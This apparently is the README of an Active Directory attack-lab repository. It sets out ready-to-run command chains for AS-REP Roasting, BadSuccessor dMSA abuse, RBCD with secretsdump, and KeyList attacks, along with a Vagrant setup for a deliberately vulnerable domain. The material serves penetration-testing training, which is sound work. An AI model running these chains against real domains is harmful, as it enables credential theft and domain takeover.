Jostif/ad-lab
GitHub: Jostif/ad-lab
集合 AD 攻击自动化脚本、BloodHound 自定义 Cypher 查询和一键搭建 Vagrant 靶场环境的 Active Directory 安全实战工具箱。
Stars: 0 | Forks: 0
# ad-lab
Active Directory 攻击技术、自动化脚本、BloodHound 自定义查询,
以及用于实操练习的可复现实验环境。
本项目是 [ad-attack-chain](https://github.com/Jostif/ad-attack-chain) 的姊妹篇,后者
用于自动化实战攻击链。本仓库涵盖了额外的技术、实验
环境搭建以及参考资料。
## 目录
```
ad-lab/
├── attacks/
│ ├── asreproast.py # AS-REP Roasting (GetNPUsers + hashcat 18200)
│ ├── badsuccessor.py # BadSuccessor / dMSA abuse PoC (2025)
│ └── rbcd.py # RBCD attack chain + KeyList (RODC)
├── bloodhound/
│ ├── queries.md # Custom Cypher queries with explanations
│ └── custom-queries.json # Import directly into BloodHound UI
└── lab-setup/
├── Vagrantfile # 2-machine AD lab (DC01 + WS01)
└── provision/
├── 01_promote_dc.ps1 # AD DS install + DC promotion
├── 02_configure_ad.ps1 # Users, groups, OUs, ACL misconfigs
├── 03_setup_adcs.ps1 # ADCS + ESC1/ESC8 vulnerable templates
├── 04_vulnerable_configs.ps1 # RBCD, BadSuccessor, SMB relay surface
└── 06_kali_tools.sh # Attacker VM tool installation
```
## 攻击技术
### AS-REP Roasting
针对设置了 `DONT_REQUIRE_PREAUTH`(UAC 标志 `0x400000`)的账户。
无需凭据——可为任何存在漏洞的账户请求 AS-REP 哈希。
```
python3 attacks/asreproast.py -c config.yaml --dry-run
python3 attacks/asreproast.py -c config.yaml
```
手动等效操作:
```
GetNPUsers.py lab.local/ -dc-ip 192.168.56.10 -usersfile users.txt -format hashcat -no-pass
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
```
### BadSuccessor (dMSA 滥用)
由 Akamai 于 2025 年 5 月披露。影响 Windows Server 2025 域。
任何对 OU 拥有 `CreateChild` 权限的用户都可以创建一个继承
任意账户(包括 Domain Admins)权限的 dMSA。
```
python3 attacks/badsuccessor.py -c config.yaml --target Administrator --dry-run
python3 attacks/badsuccessor.py -c config.yaml --target Administrator
```
手动步骤:
```
# 1. 查找存在漏洞的 OU
bloodyAD --host 192.168.56.10 -d lab.local -u jdoe -p Password1 get writable --otype OU --right CREATE_CHILD
# 2. 创建取代 Administrator 的 dMSA
bloodyAD --host 192.168.56.10 -d lab.local -u jdoe -p Password1 add dMSA svc-evil --ou "OU=ServiceAccounts,DC=lab,DC=local" --supersede "CN=Administrator,CN=Users,DC=lab,DC=local"
# 3. 获取托管密码 → NT hash
bloodyAD --host 192.168.56.10 -d lab.local -u jdoe -p Password1 get object "svc-evil$" --attr msDS-ManagedPassword
```
### RBCD (基于资源的约束委派)
```
# 针对 WS01 的完整 RBCD 链
python3 attacks/rbcd.py rbcd -c config.yaml --target WS01$ --impersonate Administrator --dry-run
python3 attacks/rbcd.py rbcd -c config.yaml --target WS01$ --impersonate Administrator
```
手动步骤:
```
# 1. 创建伪造计算机
bloodyAD --host 192.168.56.10 -d lab.local -u jdoe -p Password1 add computer FAKEMACHINE$ FakePass123!
# 2. 设置 RBCD
bloodyAD --host 192.168.56.10 -d lab.local -u jdoe -p Password1 set rbcd WS01$ FAKEMACHINE$
# 3. S4U2Proxy
getST.py lab.local/FAKEMACHINE$:FakePass123! -spn cifs/WS01$ -impersonate Administrator -dc-ip 192.168.56.10
# 4. 使用票据
export KRB5CCNAME=Administrator@cifs_WS01$@LAB.LOCAL.ccache
secretsdump.py -k -no-pass lab.local/Administrator@WS01$
```
### KeyList 攻击 (RODC)
```
# 需要 RODC krbtgt AES256 密钥和 RID
python3 attacks/rbcd.py keylist \
-c config.yaml \
--key \
--rid 8245 \
--user Administrator
```
## BloodHound 自定义查询
**导入到 BloodHound:**
1. 打开 BloodHound UI → Explore → Cypher 选项卡
2. 点击 **Manage Queries** → **Import**
3. 选择 `bloodhound/custom-queries.json`
包含的查询:
| 类别 | 查询内容 |
|---|---|
| Kerberoasting | 可 Kerberoast 的用户(已启用,非 krbtgt) |
| Kerberoasting | 具有 DA 路径的可 Kerberoast 用户 |
| AS-REP | 禁用预身份验证的账户 |
| Shadow Creds | GenericWrite 目标 |
| RBCD | 对计算机拥有 GenericWrite 权限 |
| ACL | 指向高价值目标的所有写入边缘 |
| DCSync | 拥有复制权限的用户 |
| RODC | 允许的 RODC PRP 成员 |
| RODC | 不在 Denied RODC PRP 中的高价值用户 (KeyList 目标) |
| Paths | 从已控制节点到 DA 的最短路径 |
| 杂项 | AdminSDHolder 成员,DA 会话,SID 历史 |
## 实验环境搭建
### 环境要求
```
vagrant >= 2.3.0
VirtualBox >= 7.0
vagrant-reload plugin
16GB RAM recommended
```
### 启动实验环境
```
cd lab-setup
# 安装 reload 插件(一次性)
vagrant plugin install vagrant-reload
# 启动完整实验环境(DC01 + WS01)
vagrant up
# 仅 DC(测试速度更快)
vagrant up DC01
# 添加 Kali 攻击机
vagrant up KALI
```
### 实验环境凭据
| 账户 | 密码 | 备注 |
|---|---|---|
| Administrator | Lab@12345 | Domain Admin |
| svc_backup | Password1 | 可 Kerberoast,GenericWrite 目标 |
| svc_nopreauth | Summer2024! | 可 AS-REP Roast |
| jdoe | Lab@12345! | 对 svc_backup, WS01$ 拥有 GenericWrite |
| jsmith | Welcome1 | 对 svc_web 拥有 WriteDacl |
### 攻击面概览
| 技术 | 攻击向量 |
|---|---|
| Kerberoasting | svc_backup (MSSQLSvc), svc_web (HTTP) |
| AS-REP Roasting | svc_nopreauth |
| Shadow Credentials | jdoe → svc_backup (GenericWrite) |
| ADCS ESC1 | VulnESC1 模板 (Domain Users 可注册 + 可提供 SAN) |
| ADCS ESC8 | http://DC01/certsrv (HTTP, 无 EPA) |
| RBCD | jdoe → WS01$ (GenericWrite) |
| BadSuccessor | jdoe → ServiceAccounts OU (CreateChild dMSA) |
| SMB relay | DC01 上签名被禁用 |
### 快照
```
# 在配置后保存干净状态
vagrant snapshot save DC01 baseline
vagrant snapshot save WS01 baseline
# 测试后恢复
vagrant snapshot restore DC01 baseline
vagrant snapshot restore WS01 baseline
```
## 测试环境
- HTB Garfield (RODC / KeyList 攻击链)
- HTB Logging (Shadow Credentials + ADCS)
- HTB Eighteen (BadSuccessor)
- 本地 GOAD 实验环境
## 相关仓库
- [ad-attack-chain](https://github.com/Jostif/ad-attack-chain) — 实战攻击自动化
- [nuclei-templates](https://github.com/Jostif/nuclei-templates) — Web 漏洞模板
## 作者
**J0stif** — 渗透测试工程师,漏洞赏金猎人
OSCP (考取中) · HTB CPTS (考取中) · HTB CWES (考取中)
[HTB 主页](https://app.hackthebox.com/profile/) · [文章与笔记](https://j0stif.github.io)
标签:ACL滥用, Active Directory, ADCS, AD攻击, AI合规, AS-REP Roasting, BadSuccessor, BloodHound, CSV导出, Cypher查询, dMSA滥用, ESC8, hashcat, Kerberos攻击, OpenCanary, PE 加载器, Plaso, RBCD, Vagrant, Windows Server, 协议分析, 域渗透, 攻击自动化, 数据展示, 权限提升, 模拟器, 电子数据取证, 社会工程学, 红队, 网络安全, 逆向工具, 配置修复, 隐私保护, 靶场环境